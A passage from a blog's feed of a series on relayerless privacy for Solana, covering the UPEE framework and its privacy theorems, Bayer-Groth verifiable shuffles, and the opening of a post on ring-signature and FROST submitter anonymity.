<li>Solana Foundation. <em>Transactions documentation.</em> <a href="https://solana.com/docs/core/transactions">https://solana.com/docs/core/transactions</a></li>
<li>Solana Foundation. <em>SIMD-0296: Larger Transaction Format.</em> <a href="https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0296-larger-transactions.md">https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0296-larger-transactions.md</a></li>
<li>Solana Foundation. <em>SIMD-0302 (Review): BN254 G2 Arithmetic Syscalls.</em> <a href="https://github.com/solana-foundation/solana-improvement-documents/discussions/293">https://github.com/solana-foundation/solana-improvement-documents/discussions/293</a></li>
<li>Aztec Documentation. <em>Indexed Merkle Tree (Nullifier Tree).</em> <a href="https://docs.aztec.network/">https://docs.aztec.network/</a></li>
<li>Grassi, L., Khovratovich, D., Rechberger, C., Roy, A., Schofnegger, M. (2021). <em>Poseidon.</em> USENIX Security 2021. <a href="https://eprint.iacr.org/2019/458">https://eprint.iacr.org/2019/458</a></li>
<li>Pedersen, T. P. (1991). <em>Non-Interactive and Information-Theoretic Secure Verifiable Secret Sharing.</em> CRYPTO 1991.</li>
</ul>
<p>Previous: <a href="/blog/upee_universal_private_execution/">UPEE: composing the framework ←</a> · Next: <a href="/blog/f_rp_vs_existing_privacy_systems/">F_RP vs the rest →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[UPEE: composing SPST + PPST + TAB into one framework]]></title>
  <id>https://blog.skill-issue.dev/blog/upee_universal_private_execution/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/upee_universal_private_execution/"/>
  <published>2026-05-08T16:00:00.000Z</published>
  <updated>2026-05-08T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="privacy"/>
  <category term="simulation-security"/>
  <category term="uc-framework"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[F_RP Construction IV. The five-algorithm tuple Setup/Deploy/Invoke/Verify/Finalize plus the simulation-based privacy theorem (3.12) and self-sovereignty theorem (3.13). The composition that makes the whole thing deployable.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p><a href="/blog/spst_self_paying_shielded_transactions/">SPST</a> gave us self-paying private value transfer. <a href="/blog/ppst_private_programmable_state/">PPST</a> extended it to arbitrary computation. <a href="/blog/tab_threshold_anonymous_broadcast/">TAB</a> and <a href="/blog/verifiable_shuffles_for_privacy/">verifiable shuffles</a> closed the submitter-identification gap. Each of those is a self-contained construction. This post is about how they compose into the <strong>deployable framework</strong>.</p>
<p>UPEE — the Universal Private Execution Environment — is a five-tuple <code>(Setup, Deploy, Invoke, Verify, Finalize)</code> that wraps the lower-level pieces in a single deployable interface. By the end of this post we&#39;ll have stated the two main theorems of F_RP — simulation-based privacy and self-sovereignty — and shown how they fall out of the composition.</p>
<p>This is post 7 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series.</p>
<Aside kind="note">
This is the post that took the longest to write. The simulation-based privacy proof requires four cryptographic-assumption transitions stitched into one hybrid argument. I've kept it sketchy in the prose; the full per-hybrid analysis is in the paper.
</Aside>

<h2>The five algorithms</h2>
<p><strong><code>Setup(1^λ) → pp</code>.</strong> Generate public parameters: SRS for the proof system (universal KZG or transparent FRI), Poseidon parameters, Merkle tree depth <code>d = 32</code>, Pedersen generators <code>G, H</code>, range-proof bit-length <code>ℓ_v = 64</code>, field <code>𝔽_p</code>.</p>
<p><strong><code>Deploy(C, pp) → vk_C</code>.</strong> Compile a private program circuit <code>C</code> to an R1CS (or PLONKish) constraint system, run the proof system&#39;s key generator to produce <code>(pk_C, vk_C)</code>, register <code>vk_C</code> on-chain at a deterministic PDA <code>addr_C = PDA(&quot;UPEE&quot;, H(vk_C))</code>.</p>
<p><strong><code>Invoke(C, state_priv, input_priv, pp) → (tx, π)</code>.</strong> Client-side, no chain interaction. Read current Merkle root, execute <code>C</code> locally on private state, build the witness, generate the Groth16 proof, assemble the transaction with encrypted note ciphertexts.</p>
<p><strong><code>Verify(vk_C, tx, π) → {0, 1}</code>.</strong> On-chain. Single Groth16 pairing check + nullifier-set check + recent-root check + minimum-fee check.</p>
<p><strong><code>Finalize(σ, tx) → σ&#39;</code>.</strong> State transition. Insert nullifiers, append commitments to the Merkle tree, credit the validator with <code>f</code>.</p>
<h2>Hybrid proof architecture (§3.4.2)</h2>
<p>A single Groth16 proof can&#39;t directly hold a Turing-complete program at scale. Big circuits → big provers. The fix is <strong>recursive composition</strong>:</p>
<p>&lt;Mermaid id=&quot;hybrid-proof&quot; code={<code>graph LR   A[User executes private program&lt;br/&gt;locally in PXE-style env] --&gt; B[Inner STARK / Nova proof&lt;br/&gt;~big circuit, transparent setup]   B --&gt; C[Wrap inner proof in Groth16&lt;br/&gt;verify_inner = 1 inside outer circuit]   C --&gt; D[128-byte Groth16 proof&lt;br/&gt;on-chain via alt_bn128]   classDef step stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   class A,B,C,D step </code>}/&gt;</p>
<p>The outer Groth16 proof&#39;s circuit verifies the inner STARK or Nova accumulator. Composed soundness:</p>
<p>$$
\epsilon_{\mathrm{hybrid}} ;\leq; \epsilon_{\mathrm{inner}} + \epsilon_{\mathrm{outer}} + \mathsf{negl}(\lambda).
$$</p>
<p>Concretely: STARK with FRI gives <code>ε_inner ≤ 2^{-100}</code> for the standard 30-query / blowup-4 parameters; Groth16 gives <code>ε_outer ≤ 2^{-100}</code> under q-PKE on BN254. Combined <code>ε_hybrid ≤ 2^{-100}</code> — no meaningful soundness loss.</p>
<p>Zero-knowledge composes too: outer Groth16 reveals nothing about the inner STARK; the inner STARK reveals nothing about the witness. Both layers contribute ZK and they don&#39;t fight.</p>
<h2>The ideal functionality <code>F_RP</code></h2>
<p>For the simulation-based proof we need a target. The ideal functionality:</p>
<ul>
<li><p>On <code>(invoke, sid, C, state_priv, input_priv)</code> from user <code>U</code>:</p>
<ol>
<li>Execute <code>C</code> locally, validate balance / range / membership.</li>
<li>Compute fee <code>f</code>.</li>
<li>Send <code>(transaction, sid, f)</code> to the adversary <code>A</code>. <em>That&#39;s all <code>A</code> learns.</em></li>
<li>On <code>proceed</code> from <code>A</code>, update ideal state, ack to <code>U</code>.</li>
</ol>
</li>
<li><p>On <code>(query, sid)</code> from <code>A</code>: return <code>(rt, N, f)</code> (the public state).</p>
</li>
</ul>
<p><code>F_RP</code> never tells <code>A</code>:</p>
<ul>
<li>which notes were consumed (only nullifiers);</li>
<li>which notes were created (only commitments);</li>
<li>the values, recipients, or program inputs;</li>
<li>the user&#39;s identity beyond what the fee <code>f</code> and the fact-of-existence reveal.</li>
</ul>
<p>This is the <strong>only</strong> thing the adversary should be able to learn in the real world either.</p>
<h2>Theorem 3.12 — simulation-based privacy</h2>
<p><strong>Statement.</strong> For any PPT adversary <code>A</code> controlling the blockchain (full read of on-chain data, validator-side scheduling, transaction ordering), there exists a PPT simulator <code>S</code> such that:</p>
<p>$$
\bigl{,\mathsf{View}<em>{\mathcal{A}}(\mathsf{Real}(\mathcal{A}, \mathcal{F}</em>{\mathrm{RP}})),\bigr}
;\approx_c;
\bigl{,\mathsf{View}_{\mathcal{A}}(\mathsf{Ideal}(\mathcal{A}, \mathcal{S})),\bigr}
$$</p>
<p>where <code>S</code> learns only <code>(sid, f)</code> from <code>F_RP</code>.</p>
<p><strong>Proof outline.</strong></p>
<p>The simulator builds a fake transaction that is computationally indistinguishable from a real one without ever seeing the witness:</p>
<ol>
<li><strong>Simulated nullifiers.</strong> For each of <code>n_in</code> inputs, sample <code>nf_i</code> uniformly at random, verify it isn&#39;t already in <code>N</code>, retry on collision.</li>
<li><strong>Simulated commitments.</strong> For each of <code>n_out</code> outputs, sample <code>r_j</code> uniformly and set <code>cm_j = Poseidon(r_j)</code>. Indistinguishable from real commitments by the hiding property of Poseidon.</li>
<li><strong>Simulated proof.</strong> Invoke the ZK simulator of the hybrid proof system: <code>π̃ ← Sim_ZK(vk_C, x̃)</code> for <code>x̃ = ({nf_i}, {cm_j}, rt, f)</code>. For Groth16, <code>Sim_ZK</code> uses the simulation trapdoor <code>(α, β, γ, δ)</code> from the CRS to forge a valid-looking proof without a witness.</li>
<li><strong>Simulated encrypted notes.</strong> For each output, sample a uniform-random ciphertext of the right length. Indistinguishable by CCA2 of the encryption scheme.</li>
</ol>
<p>The hybrid argument moves from the real distribution to the simulator&#39;s output through four hybrids, each indistinguishable from the previous one under one cryptographic assumption:</p>
<ul>
<li><code>H_0</code> → <code>H_1</code>: replace real proof with simulated proof. Bound: <code>ZK advantage of Π_hybrid</code>.</li>
<li><code>H_1</code> → <code>H_2</code>: replace real commitments with random <code>Poseidon(r̃_j)</code>. Bound: <code>n_out · PRF advantage of Poseidon</code>.</li>
<li><code>H_2</code> → <code>H_3</code>: replace real nullifiers with uniform random values. Bound: <code>n_in · PRF advantage</code>.</li>
<li><code>H_3</code> → <code>H_4 = Sim</code>: replace real ciphertexts with random strings. Bound: <code>n_out · CCA2 advantage of the encryption scheme</code>.</li>
</ul>
<p>By the triangle inequality, the total distinguishing advantage is the sum of four negligible quantities — itself negligible. ∎</p>
<h2>Theorem 3.13 — self-sovereignty</h2>
<p>This is the result that makes F_RP <em>relayerless</em>.</p>
<p><strong>Game <code>Game_RF(A, λ)</code>.</strong> Single honest user <code>U</code>. <code>A</code> controls all relayers, all other users, the entire network layer (delay/reorder/drop), and all off-chain infrastructure. <code>U</code> has a shielded note, the corresponding spending key, the ability to read the chain, and direct network access to at least one honest validator. <code>Game_RF = 1</code> if <code>U</code> successfully completes withdrawal of <code>v&#39; ≤ v</code> to a public address of their choosing, paying <code>f</code> from the shielded balance, in a polynomial number of steps.</p>
<p><strong>Statement.</strong></p>
<p>$$
\Pr[\mathsf{Game}_{\mathrm{RF}}(\mathcal{A}, \lambda) = 1] ;=; 1 - \mathsf{negl}(\lambda).
$$</p>
<p><strong>Proof.</strong> Walk through every phase of the withdrawal and confirm the user can do it alone:</p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Required resources</th>
<th>External party?</th>
</tr>
</thead>
<tbody><tr>
<td>Read Merkle root</td>
<td>RPC (or direct ledger read)</td>
<td>No — public data</td>
</tr>
<tr>
<td>Compute Merkle path</td>
<td>Local tree + on-chain commitment data</td>
<td>No</td>
</tr>
<tr>
<td>Compute nullifier <code>PRF_sk(ρ)</code></td>
<td>Local secret key</td>
<td>No</td>
</tr>
<tr>
<td>Build witness</td>
<td>Local</td>
<td>No</td>
</tr>
<tr>
<td>Generate Groth16 proof</td>
<td>Local CPU/GPU</td>
<td>No</td>
</tr>
<tr>
<td>Sign tx</td>
<td>Local Ed25519 key (or TAB share)</td>
<td>No</td>
</tr>
<tr>
<td>Broadcast tx</td>
<td>Direct connection to ≥1 honest validator</td>
<td>No (chain liveness)</td>
</tr>
<tr>
<td>Pay fee <code>f</code></td>
<td>Inside the proof — extracted from shielded balance</td>
<td><strong>No (SPST)</strong></td>
</tr>
</tbody></table>
<p>Every row&#39;s &quot;External party?&quot; is &quot;No&quot;. The single assumption is <strong><code>(Δ, p_live)</code>-liveness of the chain</strong>: any valid transaction is included within Δ blocks with probability ≥ 1 − negl(λ). On Solana, <code>Δ ≈ 1-2 slots</code> (sub-second finality) and <code>p_live</code> is bounded by Tower BFT&#39;s safety guarantees.</p>
<p>The success probability is:</p>
<p>$$
\Pr[\mathsf{Game}_{\mathrm{RF}} = 1] ;=; \Pr[\text{liveness holds}] \cdot \Pr[\text{honest proof verifies}] ;=; (1 - \mathsf{negl}(\lambda)) \cdot 1.
$$</p>
<p>The second factor is <code>1</code> by completeness of the proof system. ∎</p>
<p><strong>Corollary (Censorship Resistance).</strong> No adversary can prevent the user from exercising their private withdrawal right, assuming only chain liveness. This is strictly stronger than every relayer-dependent protocol, where adversarial control of the relayer set is sufficient to deny service.</p>
<h2>Composability of UPEE programs</h2>
<p>Three composition modes from §3.4.5:</p>
<h3>Sequential composition <code>P_A ; P_B</code></h3>
<p>Run <code>P_A</code> to commit intermediate state, wait for finality, then run <code>P_B</code> consuming that state. Soundness composes additively:</p>
<p>$$
\epsilon_{\mathrm{seq}} ;\leq; \epsilon_A + \epsilon_B + \mathsf{negl}(\lambda).
$$</p>
<h3>Parallel composition <code>P_A ‖ P_B</code></h3>
<p>Both programs run in the same transaction over disjoint state. Combined circuit <code>C_{A‖B}</code> satisfies iff both <code>C_A</code> and <code>C_B</code> do. Soundness:</p>
<p>$$
\epsilon_{A | B} ;\leq; \epsilon_A + \epsilon_B + \mathsf{negl}(\lambda).
$$</p>
<h3>Nested composition <code>P_A[P_B]</code></h3>
<p><code>P_A</code> calls <code>P_B</code> as a subroutine. State passes through Pedersen-committed values:</p>
<p>$$
\mathsf{call}(P_B, \mathsf{Com}(\vec{\mathrm{args}}), \pi_{\mathrm{args_valid}}) ;\to; (\mathsf{Com}(\vec{\mathrm{result}}), \pi_{\mathrm{exec}}).
$$</p>
<p>The caller verifies <code>π_exec</code> recursively inside its own circuit. Soundness includes a recursion-overhead term:</p>
<p>$$
\epsilon_{\mathrm{nested}} ;\leq; \epsilon_A + \epsilon_B + \epsilon_{\mathrm{recursive}} + \mathsf{negl}(\lambda).
$$</p>
<p><code>ε_recursive</code> is bounded by Theorem 3.8 (composed soundness of the hybrid proof architecture).</p>
<h2>Summary of security properties</h2>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Simulation-based privacy&#39;, pros: &#39;Theorem 3.12 — adversary learns only (fact of tx, fee).&#39;, cons: &#39;Requires ZK of Π_hybrid + Poseidon PRF + nullifier PRF + CCA2 encryption.&#39; },
  { aspect: &#39;Self-sovereignty&#39;,          pros: &#39;Theorem 3.13 — works against any adversary controlling all but the user.&#39;, cons: &#39;Requires only chain liveness.&#39; },
  { aspect: &#39;Sequential composability&#39;, pros: &#39;Theorem 3.14 — multi-step private workflows.&#39;, cons: &#39;Requires intermediate finality.&#39; },
  { aspect: &#39;Parallel composability&#39;,    pros: &#39;Theorem 3.15 — atomic two-program transactions.&#39;, cons: &#39;Requires disjoint state.&#39; },
  { aspect: &#39;Nested composability&#39;,      pros: &#39;Theorem 3.16 — private function calls between programs.&#39;, cons: &#39;Requires recursive proof verification (cost ~30K constraints).&#39; },
  { aspect: &#39;Composed soundness&#39;,        pros: &#39;Theorem 3.8 — hybrid proof architecture.&#39;, cons: &#39;Loose by epsilon_inner + epsilon_outer.&#39; },
  { aspect: &#39;Ring anonymity&#39;,            pros: &#39;Theorem 3.9 — perfect (ROM).&#39;, cons: &#39;Linear in ring size.&#39; },
  { aspect: &#39;TAB privacy&#39;,               pros: &#39;Theorem 3.10 — perfect under DDH on Ed25519.&#39;, cons: &#39;Constant-size sig but DKG cost.&#39; },
  { aspect: &#39;Shuffle privacy&#39;,           pros: &#39;Theorem 3.11 — DDH + ZK of Bayer-Groth.&#39;, cons: &#39;Off-chain coordination.&#39; },
]}/&gt;</p>
<h2>What&#39;s left</h2>
<p>We have the framework. We have the theorems. The question now is: does this actually fit on Solana? The next post drops the abstract <code>Π_hybrid</code> and gives concrete numbers — proof sizes in bytes, verification costs in CU, transaction layouts inside the 1,232-byte limit.</p>
<h2>Bibliography</h2>
<ul>
<li>Canetti, R. (2001). <em>Universally Composable Security: A New Paradigm for Cryptographic Protocols.</em> FOCS 2001.</li>
<li>Goldwasser, S., Micali, S., Rackoff, C. (1985). <em>The Knowledge Complexity of Interactive Proof-Systems.</em> STOC 1985.</li>
<li>Groth, J. (2016). <em>On the Size of Pairing-Based Non-Interactive Arguments.</em> EUROCRYPT 2016.</li>
<li>Ben-Sasson, E. et al. (2018). <em>Scalable, transparent, and post-quantum secure computational integrity (STARKs).</em> <a href="https://eprint.iacr.org/2018/046">https://eprint.iacr.org/2018/046</a></li>
<li>Kothapalli, A., Setty, S., Tzialla, I. (2022). <em>Nova: Recursive Zero-Knowledge Arguments from Folding Schemes.</em> <a href="https://eprint.iacr.org/2021/370">https://eprint.iacr.org/2021/370</a></li>
</ul>
<p>Previous: <a href="/blog/verifiable_shuffles_for_privacy/">Verifiable shuffles ←</a> · Next: <a href="/blog/solana_instantiation_656_bytes/">Solana instantiation: 656 bytes →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Bayer-Groth verifiable shuffles for network-layer privacy]]></title>
  <id>https://blog.skill-issue.dev/blog/verifiable_shuffles_for_privacy/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/verifiable_shuffles_for_privacy/"/>
  <published>2026-05-06T15:00:00.000Z</published>
  <updated>2026-05-06T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="shuffles"/>
  <category term="mixnet"/>
  <category term="privacy"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[F_RP Construction III, Approach C. Bayer-Groth verifiable shuffles obscure the input→output permutation of a batch with O(√n) proof size — used to cascade-mix pre-broadcast batches at the network layer.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p><a href="/blog/tab_threshold_anonymous_broadcast/">Ring signatures and TAB</a> hide the submitter on-chain. They don&#39;t hide the <strong>packet</strong>: the TCP/QUIC frame that hits a Solana RPC node still has a source IP, a timing signature, and a propagation pattern. A passive adversary running a handful of nodes can do timing triangulation to identify which IP first broadcast a transaction, and that IP is enough to undo the cryptographic anonymity.</p>
<p>This is post 6 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series. The construction here addresses the network layer with <strong>verifiable shuffles</strong> — a primitive that lets a third party shuffle and re-randomise a batch of encrypted transactions without learning the permutation, then prove they did so honestly.</p>
<Aside kind="note">
This is one of three approaches to the network-layer leak. The other two are Tor / I2P (works today, requires user-side configuration) and Dandelion++ (requires P2P-network-layer changes; Monero ships it). Verifiable shuffles complement those rather than replacing them.
</Aside>

<h2>What a verifiable shuffle is</h2>
<p>A vector of ElGamal ciphertexts arrives at a &quot;shuffler&quot; — a party (or chain of parties) that:</p>
<ol>
<li>Permutes the order of the ciphertexts.</li>
<li>Re-randomises each ciphertext (changes the encryption randomness without changing the plaintext).</li>
<li>Outputs a new vector that is provably a permutation-and-re-randomisation of the input.</li>
</ol>
<p>Crucially, the shuffler&#39;s permutation π is <strong>secret</strong>. The proof attests &quot;this output is some valid shuffle of the input&quot; without revealing which one.</p>
<p><strong>Definition.</strong> Let <code>vec(C) = (C_1, ..., C_n)</code> be ElGamal ciphertexts encrypting messages <code>M_i</code> under a common public key <code>pk_dec</code>. A verifiable shuffle protocol produces:</p>
<p>$$
\big(,\vec{C}&#39;,\ \pi_{\mathrm{shuffle}},\big) ;\leftarrow; \mathsf{Shuffle}(\vec{C}, \mathsf{pk}_{\mathrm{dec}})
$$</p>
<p>where <code>vec(C&#39;)</code> is a re-randomised permutation of <code>vec(C)</code> and the proof <code>π_shuffle</code> allows public verification without revealing π.</p>
<p>For each <code>i ∈ [n]</code>:</p>
<p>$$
C&#39;<em>i ;=; C</em>{\pi^{-1}(i)} + (r&#39;_i \cdot G,\ r&#39;<em>i \cdot \mathsf{pk}</em>{\mathrm{dec}})
$$</p>
<p>with <code>r&#39;_i</code> sampled fresh.</p>
<h2>Bayer-Groth shuffle argument</h2>
<p>The Bayer-Groth construction [BG12] gives an honest-verifier zero-knowledge argument with <strong>O(√n) proof size</strong>. The pieces:</p>
<h3>1. Permutation matrix commitment</h3>
<p>The shuffler commits to the permutation matrix <code>M_π ∈ {0,1}^{n×n}</code> using a Pedersen vector commitment:</p>
<p>$$
\mathsf{Com}(\vec{a}) ;=; \sum_{i=1}^n a_i \cdot H_i ;+; r \cdot G,
$$</p>
<p>where <code>vec(a)</code> encodes the permutation and <code>H_1, ..., H_n</code> are independent generators.</p>
<h3>2. Multi-exponentiation argument</h3>
<p>For a verifier challenge <code>vec(x) = (x_1, ..., x_n)</code>, the shuffler proves:</p>
<p>$$
\prod_{i=1}^n (C_i)^{x_{\pi(i)}} \cdot \mathsf{rerand} ;=; \prod_{i=1}^n (C&#39;_i)^{x_i}.
$$</p>
<p>This is a batched ElGamal homomorphism check that requires the shuffle to be a valid permutation with correct re-randomisation.</p>
<h3>3. Permutation argument (Schwartz-Zippel)</h3>
<p>The committed <code>(a_1, ..., a_n)</code> form a permutation of <code>(1, ..., n)</code> if and only if the polynomial identity</p>
<p>$$
\prod_{i=1}^n (a_i - x) ;=; \prod_{i=1}^n (i - x)
$$</p>
<p>holds. The shuffler proves it by evaluating both sides at a random verifier-supplied <code>x</code>. Two degree-<code>n</code> polynomials that agree at a random point are identical with overwhelming probability.</p>
<h3>Sublinear proof via recursive blocks</h3>
<p>Bayer-Groth&#39;s main contribution is the recursive block structure that pushes proof size to O(√n). Split the n elements into √n blocks of √n; commit to each block; recurse. Verifier cost remains O(n) multi-scalar multiplications for the main check, plus O(√n) pairings/exponentiations for the permutation argument.</p>
<h2>Theorem 3.11 — shuffle privacy</h2>
<p><strong>Statement.</strong> Under the DDH assumption on the underlying group and the zero-knowledge property of the Bayer-Groth argument, for any two permutations <code>π_0, π_1 ∈ S_n</code> and any PPT adversary observing <code>(vec(C), vec(C&#39;), π_shuffle)</code>:</p>
<p>$$
\bigl|,\Pr[\mathcal{A}(\vec{C}, \mathsf{Shuffle}<em>{\pi_0}(\vec{C}), \pi</em>{\mathrm{shuffle}}) = 1]
;-; \Pr[\mathcal{A}(\vec{C}, \mathsf{Shuffle}<em>{\pi_1}(\vec{C}), \pi</em>{\mathrm{shuffle}}) = 1],\bigr|
;\leq; \mathsf{Adv}^{\mathsf{DDH}}_{\mathcal{A}}(\lambda) + \mathsf{negl}(\lambda).
$$</p>
<p><strong>Proof sketch.</strong> Reduce permutation identification to DDH. The reduction <code>B</code> receives a DDH challenge <code>(G, A = a·G, B = b·G, Z)</code> and sets <code>pk_dec = A</code>. To simulate the shuffle:</p>
<ul>
<li>If <code>Z = ab·G</code> (real DDH tuple): <code>B</code> re-randomises position <code>i</code> using <code>r&#39;_i = b</code> and the DDH structure correctly produces a valid shuffle under <code>π_0</code>.</li>
<li>If <code>Z</code> is uniform random: the re-randomisation introduces a random group element, making the shuffled ciphertexts independent of any specific permutation.</li>
</ul>
<p><code>B</code> wins with <code>1/2 + ε/2</code> if <code>D</code> distinguishes shuffles with advantage ε. The proof itself is zero-knowledge by Bayer-Groth, leaking no additional information about π beyond what is already in <code>(vec(C), vec(C&#39;))</code>. ∎</p>
<h2>Cascade shuffles</h2>
<p>If <code>k</code> independent shufflers each shuffle in sequence, the adversary must corrupt <strong>all <code>k</code></strong> to learn the overall permutation:</p>
<p>$$
\mathsf{Adv}^{\mathrm{perm}}<em>{\mathrm{cascade}} ;\leq; \prod</em>{j=1}^k \mathsf{Adv}^{\mathsf{DDH}}_j + k \cdot \mathsf{negl}(\lambda).
$$</p>
<p>This is the standard mix-net argument — one honest shuffler is enough. A cascade of three shufflers means the adversary needs to compromise all three to deanonymise.</p>
<h2>Integration with F_RP</h2>
<p>&lt;Mermaid id=&quot;shuffle-integration&quot; code={<code>graph LR   U1[User 1] --&gt; E1[ElGamal encrypt]   U2[User 2] --&gt; E2[ElGamal encrypt]   Un[User n] --&gt; En[ElGamal encrypt]   E1 --&gt; S1[Shuffler 1&lt;br/&gt;π_1, prove]   E2 --&gt; S1   En --&gt; S1   S1 --&gt; S2[Shuffler 2&lt;br/&gt;π_2, prove]   S2 --&gt; S3[Shuffler 3&lt;br/&gt;π_3, prove]   S3 --&gt; D[Threshold decrypt]   D --&gt; C[Solana RPC]   classDef user stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   classDef mix  stroke:#facc15,stroke-width:2px,fill:#0a0a0a,color:#fff   class U1,U2,Un user   class S1,S2,S3 mix </code>}/&gt;</p>
<p>The shuffle network sits <strong>between the user and the Solana RPC</strong>. Workflow:</p>
<ol>
<li>User encrypts their SPST/PPST transaction under a shared public key <code>pk_dec</code> (held by a threshold-decrypter set).</li>
<li>User submits the ciphertext to a public mempool shared with other privacy-protocol users.</li>
<li>Shufflers (a chain of 2-5 independent operators) take the batch, shuffle, re-randomise, prove.</li>
<li>After the cascade, threshold-decrypter set decrypts the final shuffled ciphertexts.</li>
<li>Decrypted transactions are submitted to Solana validators directly.</li>
</ol>
<p>The validators see no IP / timing correlation back to the originating user. The shufflers see ciphertexts but not plaintexts. The threshold decrypter sees plaintexts but not the originator-to-position mapping.</p>
<h2>Tradeoffs vs. ring signatures + TAB</h2>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Anonymity guarantee&#39;,
    pros: &#39;Shuffle batch of n: any of n could be any. With cascade, anonymity scales with batch size.&#39;,
    cons: &#39;Requires off-chain coordination (mempool, shuffler discovery, threshold decrypter)&#39; },
  { aspect: &#39;Latency overhead&#39;,
    pros: &#39;Ring + TAB: zero (just sign).&#39;,
    cons: &#39;Shuffle: 1-3 round-trips through mix network; ~seconds to minutes for batching&#39; },
  { aspect: &#39;Trust model&#39;,
    pros: &#39;Shuffle: at least one honest shuffler.&#39;,
    cons: &#39;TAB: at least one honest DKG participant. Ring: no trust.&#39; },
  { aspect: &#39;Throughput&#39;,
    pros: &#39;Ring + TAB: per-tx, no batching needed.&#39;,
    cons: &#39;Shuffle: batched; small batches → small anon set; large batches → high latency.&#39; },
  { aspect: &#39;Network-layer leak&#39;,
    pros: &#39;Shuffle: actually closes it (the IP-source observer learns nothing).&#39;,
    cons: &#39;Ring + TAB: still leaks IP unless paired with Tor/I2P.&#39; },
]}/&gt;</p>
<p>Shuffles and TAB compose. The recommended stack:</p>
<ol>
<li><strong>TAB</strong> (or ring sig) for on-chain submitter anonymity.</li>
<li><strong>Shuffle cascade</strong> for network-layer source-IP anonymity.</li>
<li><strong>Tor/I2P/Dandelion++</strong> as belt-and-braces for IP-level anonymity even against in-mempool observers.</li>
</ol>
<h2>Practical anonymity bounds</h2>
<p>For a TAB group of <code>n_tab = 100</code> and a shuffle cascade of size <code>n_shuffle = 50</code>, with a network-leakage parameter <code>μ ∈ [0, 1]</code> capturing how much side-channel info bleeds through:</p>
<p>$$
H(\mathrm{submitter}) ;\geq; \log_2(n_{\mathrm{tab}}) + (1 - \mu) \cdot \log_2(n_{\mathrm{shuffle}}) - \mathsf{negl}(\lambda).
$$</p>
<p>With <code>μ = 0.3</code> (moderate leakage from timing patterns), this gives roughly 6.6 + 0.7·5.6 ≈ 10.5 bits of effective anonymity — about 1500 indistinguishable submitters. With <code>μ = 0</code> (Tor + Dandelion++), 12.2 bits ≈ 4700 submitters.</p>
<h2>Why this isn&#39;t deployed yet</h2>
<p>Shufflers are operational infrastructure. Each one is:</p>
<ul>
<li>A long-running Linux process holding a Bayer-Groth proof generator.</li>
<li>Interactive with other shufflers and the threshold-decrypter set.</li>
<li>Subject to liveness assumptions (one going offline pauses the cascade, but doesn&#39;t break privacy).</li>
</ul>
<p>For F_RP&#39;s first deployment we ship without shufflers — TAB plus user-side Tor is enough for the initial threat model. The shuffle network is a Phase 2 hardening, designed to neutralise nation-state-level network observers.</p>
<h2>Bibliography</h2>
<ul>
<li>Bayer, S., Groth, J. (2012). <em>Efficient Zero-Knowledge Argument for Correctness of a Shuffle.</em> EUROCRYPT 2012.</li>
<li>Chaum, D. (1981). <em>Untraceable Electronic Mail, Return Addresses, and Digital Pseudonyms.</em> CACM 24(2).</li>
<li>Fanti, G. et al. (2018). <em>Dandelion++: Lightweight Cryptocurrency Networking with Formal Anonymity Guarantees.</em> SIGMETRICS 2018.</li>
<li>Monero Project. <em>Tor and I2P integration in monerod (master).</em> <a href="https://github.com/monero-project/monero/blob/master/docs/ANONYMITY_NETWORKS.md">https://github.com/monero-project/monero/blob/master/docs/ANONYMITY_NETWORKS.md</a></li>
</ul>
<p>Previous: <a href="/blog/tab_threshold_anonymous_broadcast/">TAB: ring sigs and FROST ←</a> · Next: <a href="/blog/upee_universal_private_execution/">UPEE: composing the framework →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[TAB: hiding the submitter with ring signatures and FROST]]></title>
  <id>https://blog.skill-issue.dev/blog/tab_threshold_anonymous_broadcast/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/tab_threshold_anonymous_broadcast/"/>
  <published>2026-05-04T16:30:00.000Z</published>
  <updated>2026-05-04T16:30:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="ring-signatures"/>
  <category term="frost"/>
  <category term="monero"/>
  <category term="anonymity"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[F_RP Construction III. ZK proofs hide the contents but the wrapping Solana tx still leaks the submitter pubkey. TAB closes that gap with a Fujisaki-Suzuki ring signature and a FROST threshold Schnorr over Ed25519.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p><a href="/blog/spst_self_paying_shielded_transactions/">SPST</a> hides what value moved. <a href="/blog/ppst_private_programmable_state/">PPST</a> hides what program ran. Neither hides <strong>who submitted the transaction</strong>. On any chain that requires a signature on the outer transaction (Solana, Ethereum, Aptos, Sui — all of them), the public key of the submitter is right there in the transaction header.</p>
<p>Without a relayer, the submitter must sign with their own key. The Ed25519 public key tells the chain exactly which private actor authorised the proof. ZK on the inside; perfect plaintext on the outside.</p>
<p>This is post 5 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series. Here we close the submitter-identification gap with two complementary network-layer primitives.</p>
<Aside kind="note">
